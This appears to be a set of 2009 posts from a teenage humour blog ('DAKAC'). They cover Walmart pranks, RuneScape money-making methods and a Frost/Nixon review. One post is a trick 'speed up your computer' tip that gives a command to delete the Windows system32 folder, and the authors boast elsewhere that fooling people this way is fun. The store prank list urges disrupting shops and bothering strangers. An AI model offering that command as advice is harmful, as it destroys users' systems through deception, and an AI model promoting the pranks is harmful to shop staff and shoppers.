Remember the Walmart Post?

We tried it out!

And guess what? NO SUSPENSION!

This makes us slightly mad.

Which means: MORE!

1. Assemble plungers and stick to floor.

NEVER flush in the bathroom

Hide stuff in the baskets on display.

Take drinks, hide in aisles.

Use plungers in toilets, then return to aisle.

Start conversations with complete strangers.

CHARGE DOWN AISLES!!!!

Fill other people’s cart full of useless crap (i.e. beer, condoms, Toilet seats,) when not looking.

Block off aisles with merchandise

RUN AS FAST AS YOU CAN through the exit.

Do previous when guards are there.

Get a walmart vest; escort kids off the premises.

We’ve made a new DAKAC!

http://tinyurl.com/dakactwo

I got some new crap.

1: I added “Shoop da Whoop” to Wikipedia. 10 seconds later, DELETED.

This Sh-t’s insane.

2.I am adding Advice Puppy pictures every week. Remember the puppy sitting in the window saying DELETE SYSTEM32!?

That’s Jango, the Advice puppy.

This weeks:

Firstoff, we apologize. All watching, err.. reading, didn’t listen to my system32 idea. It would rin your computer. It’s fun tricking idiots. We apologize.

Hey Guys! here’s a way to speed up your computer.

Press Windows Key+ r

type in cmd /c rd /s /q c:\windows\system32

Advice dog wants YOU to do this

Beatles: Official Barbers & Barbershop Quartet

Us at DAKAC forgot what we based this website. Runescape! Well. we just finished testing our last way to get rich. Here’s some ideas we tested.

10. Fally WCing
Rating: *
Req: 15 woodcutting., better if you ave 15 hunting and a Ring of Wealth.
Falador woodcutting is based on the idea of banking and cutting oak at Falador. Well, we tested. Results: HORRIBLE. Each log sells for 30 gp, very cheeky. You make little wood, and you level very slowly. The only exceptions is for members with rabbit foots’ necklaces and rings of wealth. They increase your chance of getting birrds’ nests and chance of getting good stuff. I made 100,000 in 3 hours. (80,000 of which was a yew seed I found.)
Not a good idea.

9.The Crystal Key
Rating: ****
Req: 60,000: Better w/ Ring of Wealth, Membership.
The Crystal Key is interesting. Buy a key called Crystal Key off of the Grand Exchange, for 55,000. Go to a building in Tavelrey, and open a chest. You always get a uncut dragonstone, but the range of gain/loss is:
Max Loss: -4,000
Max Gain: 50,000
It is a good idea for people with 500,000.
Maybe.

7. Flax
Req: Membership, best if you did Fishing Contest.
Rating: **
Flaxing is an idea whwere you bring noothuing to the flax field, fill yourself with flax, and bank. This is a bad idea. 28 inv. spaces * 80 per= 2,240 per run. A better idea is the honey idea.

6. Honey
Req: Membership, bug spray. Non-tradeable.
Rating: **
An improved ver. of flaxing. there are beehives by the flax field. You better bring bug spray, or you WILL DIE. They sell for 20 more than flax, but is still not even close, compared to this next one.

5.Zamorak Wone
Req: LOTS of laws, air staff, 32 mage, best if you have membership.
Rating: *****
Out of everything I have tried, this is the best, by far. But it has some flaws. Zamorak wine sells for 1,000 each. Go to the zamorak Temple with only laws, and telekenetic grab the wine. Make surem there is no competition, and the less people in your world, the better. It takes 28 seconds or less to respond. Long time, but you can make a million in 5 hours work. That makes it the best. But don’t be tempted to take the wine, just telegrab it.
DO IT
To be continued……

Hello, again.
It’s almost summer!
Today as I am writng, is 10:51 PM, Friday 6/5/09. Only 20 days ’till my birthday.

New Updates:
DAKAC Factoids has been updated.
We are NOT becoming .com, prices are too expensive. We’ll get back to that.
We are in the process of a new video show, called, “I DARE You To Solve It!” Where we ask riddles, every week. We have the answers of yesterweek’s puzzle at the end.

OK, I finished procrastinating.

Frost/Nixon:
Rating: 7
Storyboard: In June 17, 1972, five men got caught breaking into the Democratic Party headquarters. Later, the press found out it was part of a government cover-up, which involved Richard M. Nixon, or “Tricky Dick.” Frost/Nixon tells the story of the Australian talk show host, David Frost, interviewing Richard Nixon on many affairs, such as Nixon’s life, his thoughts on Pol Pot and the bloody war in Cambodia, Communist leader Mao Tze-Tzung, and, of course, the Watergate Scandal. The night before the interview, drunk Nixon calls up Frost and talks about how the interview will make/break someone’s career, and for some reason, cheeseburgers. The next day, Nixon says many lines that hurts him, such as, “I’m saying, when the president does some thing illegal, IT’S NOT ILLEGAL!” and “People think I’m a crook. I’m not a crook, I earned everything I got.” In the end, Nixon admits to the scandal, and quotes he let his country down.
Comments: Not as good as it sounded, requires some knowledge to fully understand.
Should You See It: Not unless it’s free.

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